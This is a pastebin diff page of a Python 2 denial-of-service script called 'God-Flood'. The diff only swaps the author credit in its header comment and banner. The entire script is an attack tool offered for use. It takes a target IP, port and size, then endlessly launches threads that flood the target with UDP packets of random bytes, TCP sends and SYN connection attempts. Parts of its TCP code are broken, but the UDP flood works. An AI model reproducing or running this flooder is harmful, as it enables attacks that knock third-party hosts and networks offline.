SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/env python | |
2 | - | #God-Flood(tcp,syn,udp) by LiGhT |
2 | + | #God-Flood(tcp,syn,udp) by Lulz Tigre |
3 | import threading, sys, time, random, socket | |
4 | ||
5 | if len(sys.argv) < 4: | |
6 | - | print "God-Flood By LiGhT" |
6 | + | print "God-Flood By Lulz Tigre" |
7 | sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size>") | |
8 | ||
9 | ip = sys.argv[1] | |
10 | port = int(sys.argv[2]) | |
11 | size = int(sys.argv[3]) | |
12 | packets = int(sys.argv[3]) | |
13 | ||
14 | class syn(threading.Thread): | |
15 | def __init__(self, ip, port, packets): | |
16 | self.ip = ip | |
17 | self.port = port | |
18 | self.packets = packets | |
19 | self.syn = socket.socket() | |
20 | threading.Thread.__init__(self) | |
21 | def run(self): | |
22 | for i in range(self.packets): | |
23 | try: | |
24 | self.syn.connect((self.ip, self.port)) | |
25 | except: | |
26 | pass | |
27 | ||
28 | class tcp(threading.Thread): | |
29 | def __init__(self, ip, port, size, packets): | |
30 | self.ip = ip | |
31 | self.port = port | |
32 | self.size = size | |
33 | self.packets = packets | |
34 | self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
35 | threading.Thread.__init__(self) | |
36 | def run(self): | |
37 | for i in range(self.packets): | |
38 | try: | |
39 | bytes = random._urandom(self.size) | |
40 | socket.connect(self.ip, self.port) | |
41 | socket.setblocking(0) | |
42 | socket.sendto(bytes,(self.ip, self.port)) | |
43 | except: | |
44 | pass | |
45 | ||
46 | class udp(threading.Thread): | |
47 | def __init__(self, ip, port, size, packets): | |
48 | self.ip = ip | |
49 | self.port = port | |
50 | self.size = size | |
51 | self.packets = packets | |
52 | self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) | |
53 | threading.Thread.__init__(self) | |
54 | def run(self): | |
55 | for i in range(self.packets): | |
56 | try: | |
57 | bytes = random._urandom(self.size) | |
58 | if self.port == 0: | |
59 | self.port = random.randrange(1, 65535) | |
60 | self.udp.sendto(bytes,(self.ip, self.port)) | |
61 | except: | |
62 | pass | |
63 | ||
64 | while True: | |
65 | try: | |
66 | if size > 65507: | |
67 | sys.exit("Invalid Number Of Packets!") | |
68 | u = udp(ip,port,size,packets) | |
69 | t = tcp(ip,port,size,packets) | |
70 | s = syn(ip,port,packets) | |
71 | u.start() | |
72 | t.start() | |
73 | s.start() | |
74 | except KeyboardInterrupt: | |
75 | print "Stopping Flood!" | |
76 | sys.exit() | |
77 | except socket.error, msg: | |
78 | print "Socket Couldn't Connect" | |
79 | sys.exit() |